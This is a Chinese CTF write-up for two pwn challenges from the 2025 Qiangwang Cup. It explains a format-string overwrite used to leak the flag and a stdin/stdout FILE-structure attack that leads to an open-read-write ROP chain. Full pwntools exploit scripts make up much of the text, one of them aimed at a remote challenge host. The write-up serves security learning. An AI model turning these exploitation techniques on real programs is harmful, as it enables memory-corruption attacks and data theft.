题目链接:https://github.com/yfor-yfor/-/tree/main/2025%E5%BC%BA%E7%BD%91%E6%9D%AF
flag-market 菜单为退出或付钱
退出即exit
付钱如果为0xff,就break,如果不是0xff,就关闭流文件,将标志位变成0
break后清空s,并且将我们输入的内容作为模式,尝试打开user.log
最后重新再开始菜单流程
漏洞点:
1 __isoc99_scanf("%s" , oflag);
scanf的%s输入存在溢出,虽然oflag不在栈上,但是format格式化字符串在
1 2 3 4 5 6 .data:00000000004040 C0 oflag db 'everything is ok~' ,0 .data:00000000004041 C0 format db 'You are so parsimonious!!!' ,0 .text:00000000004014 AD lea rax, format ; "You are so parsimonious!!!" .text:00000000004014B 4 mov rdi, rax ; format .text:00000000004014B 7 mov eax, 0 .text:00000000004014B C call _printf
因此我们可以借助这个溢出,修改format为危险的格式化字符串符号
并且题目最后会重新开始,所以之后就可以借助这个漏洞泄露内容了
看图可知,此时堆地址和我们输入的内容都在栈上,他们的偏移量也可知为9和12
而这个堆地址,与存储flag真实内容的堆地址偏移固定
因此,我们可以先%9$p泄露堆地址,然后将这个值加上固定偏移当作想要pay的钱数,此时12偏移处就是存储flag地址的堆地址了,再%12$s泄露flag即可。
因为format格式化字符串符号只能修改一次,不能中途再加入%12$s所以一开始就全部改好
不过由于是%s的泄露,所以第一次时要输入一个随便的地址,比如0x4040c0,就不会导致报错了
可以看到,我们输入的内容就是flag内容的所在堆地址
远程成功获得flag
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context(arch="amd64" , os="linux" ) io=remote("8.147.135.220" ,20500 ) io.recvuntil(b'2.exit\n' ) io.sendline(b'1' ) io.recvuntil(b'how much you want to pay?\n' ) io.sendline(b'255' ) io.recvuntil(b'opened user.log, please report:\n' ) payload=b'a' *(0x100 )+b'%9$p%12$s\x00' io.sendline(payload) io.recvuntil(b'2.exit\n' ) io.sendline(b'1' ) io.recvuntil(b'how much you want to pay?\n' ) io.sendline(p64(0x4040c0 )) heap_addr=int (io.recv(9 ),16 ) info(hex (heap_addr)) io.recvuntil(b'2.exit\n' ) io.sendline(b'1' ) io.recvuntil(b'how much you want to pay?\n' ) io.sendline(p64(heap_addr+0x1e0 )) io.interactive()
bph
拿到题目运行的时候,显示2.38以上才能运行,按照正常出题,应该是2.39的libc
而在第一次输入的时候,栈上有存在一个libc地址,用2.39的patchelf之后,本地可以成功泄露libc
1 2 3 4 5 io.recvuntil(b"Please input your token: ") io.send(b"a" * 0x28) io.recvuntil(b"a" * 0x28) libc_base = u64(io.recv(6).ljust(8, b"\x00")) - 0xADDAE log.success("libc: " + hex(libc_base))
远程测试之后,发现泄露的libc是对的,所以相当于开始就送了libc
别的函数功能全是错的,不能编辑,不能泄露,不能删除,delete的整个逻辑还是有问题的,纯。。。
只有add函数有问题
重点在这,add的时候,如果size过大,就不会申请堆块,ptr就是0,那这样就相当于size-1=0,开始的时候拿到libc了,也就是说,如果size和libcbase一样大,就能任意地址写一个0
题目用stdin进行输入,数据会先存放在输入缓冲区,任意地址写,写到stdin里面的buf base,这样buf base和buf ptr就有差值,这个差值刚好是stdin的开头
1 2 3 4 5 6 7 8 9 10 io.recvuntil(b"Choice: ") io.sendline(b"1") io.recvuntil(b"Size: ") io.sendline(str(stdin + 0x38 + 1)) io.recvuntil(b"Content: ") io.send(b"a") dbg() io.recvuntil(b"Choice: ") io.send(p64(libc.address + 0x203900) * 3 + p64(libc.address + 0x203918))
这样的话,我们fgets的时候,就能改写stdin,fgets是先把数据读到缓冲区,再拿对应的长度,所以可以写很长的数据
我们再次改写stdin,这一次可以修改一整个buf base和buf end,改到stdout上,下次就是修改stdout
这样就改写掉了
剩下的就是写stdout,但是这里不是利用puts触发的io,puts没有成功触发,printf可以触发
不过这里注意,io的开始只能填sh或者0xfdad1800,填上flag字符串就报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 from pwn import * context(log_level="debug", arch="amd64", os="linux") io = process("./pwn") # context.terminal = ["tmux", "split", "-h"] #io = remote("47.94.202.253",32781) elf = ELF("./pwn") libc = ELF("./libc.so.6") def dbg(cmd=""): gdb.attach(io, cmd) io.recvuntil(b"Please input your token: ") io.send(b"a" * 0x28) io.recvuntil(b"a" * 0x28) libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 0xADDAE log.success("libc: " + hex(libc.address)) stdin = libc.sym["_IO_2_1_stdin_"] info(hex(stdin)) io.recvuntil(b"Choice: ") io.sendline(b"1") io.recvuntil(b"Size: ") io.sendline(str(stdin + 0x38 + 1)) io.recvuntil(b"Content: ") io.send(b"a") io.recvuntil(b"Choice: ") io.send(p64(libc.address + 0x203900) * 3 + p64(libc.address + 0x203918)) io.send( p64(libc.address + 0x2045C0) + p64(libc.address + 0x2045C0 + 0x300) ) # stdin buf fake_file = flat( { 0x0: " sh;", 0x10: p64(libc.sym["setcontext"] + 61), 0x20: p64(libc.symbols["_IO_2_1_stdout_"]), 0x78: p64(libc.address + 0x2046d0), 0x88: p64(libc.symbols["_environ"] - 0x10), # _lock 0xA0: p64(libc.symbols["_IO_2_1_stdout_"]), 0xA8: p64(next(libc.search(asm("leave;ret;"), executable=True))), 0xD8: p64(libc.symbols["_IO_wfile_jumps"] + 0x10), 0xE0: p64(libc.symbols["_IO_2_1_stdout_"] - 8), }, filler=b"\x00", ) fake_file += ( p64(libc.address + 0x2045B8) + p64(libc.address + 0x2045E0) + p64(libc.address + 0x2038E0) ) fake_file += p64(libc.address + 0x3FD000) + p64(libc.address + 0x3D2A40) pop_rax = next(libc.search(asm("pop rax;ret"), executable=True)) pop_rdi = next(libc.search(asm("pop rdi;ret"), executable=True)) pop_rsi = next(libc.search(asm("pop rsi;ret"), executable=True)) pop_rcx = libc.address + 0xA877E openat = libc.sym["openat"] read = libc.sym["read"] write = libc.sym["write"] buf = libc.address + 0x2046d0 payload = ( b'flag\x00\x00\x00\x00' + p64(pop_rdi) + p64(0xFFFFFFFFFFFFFF9C) + p64(pop_rsi) + p64(buf) + p64(pop_rax) + p64(0) + p64(libc.address + 0x11EA8A) + p64(openat) ) payload += ( p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf + 0x1000) + p64(pop_rax) + p64(0x30) + p64(libc.address + 0x11EA8A) + p64(read) ) payload += ( p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf + 0x1000) + p64(pop_rax) + p64(0x30) + p64(libc.address + 0x11EA8A) + p64(write) ) io.recv() dbg("b *0x7ffff7c8afdd\nc") io.send(fake_file+payload) io.interactive()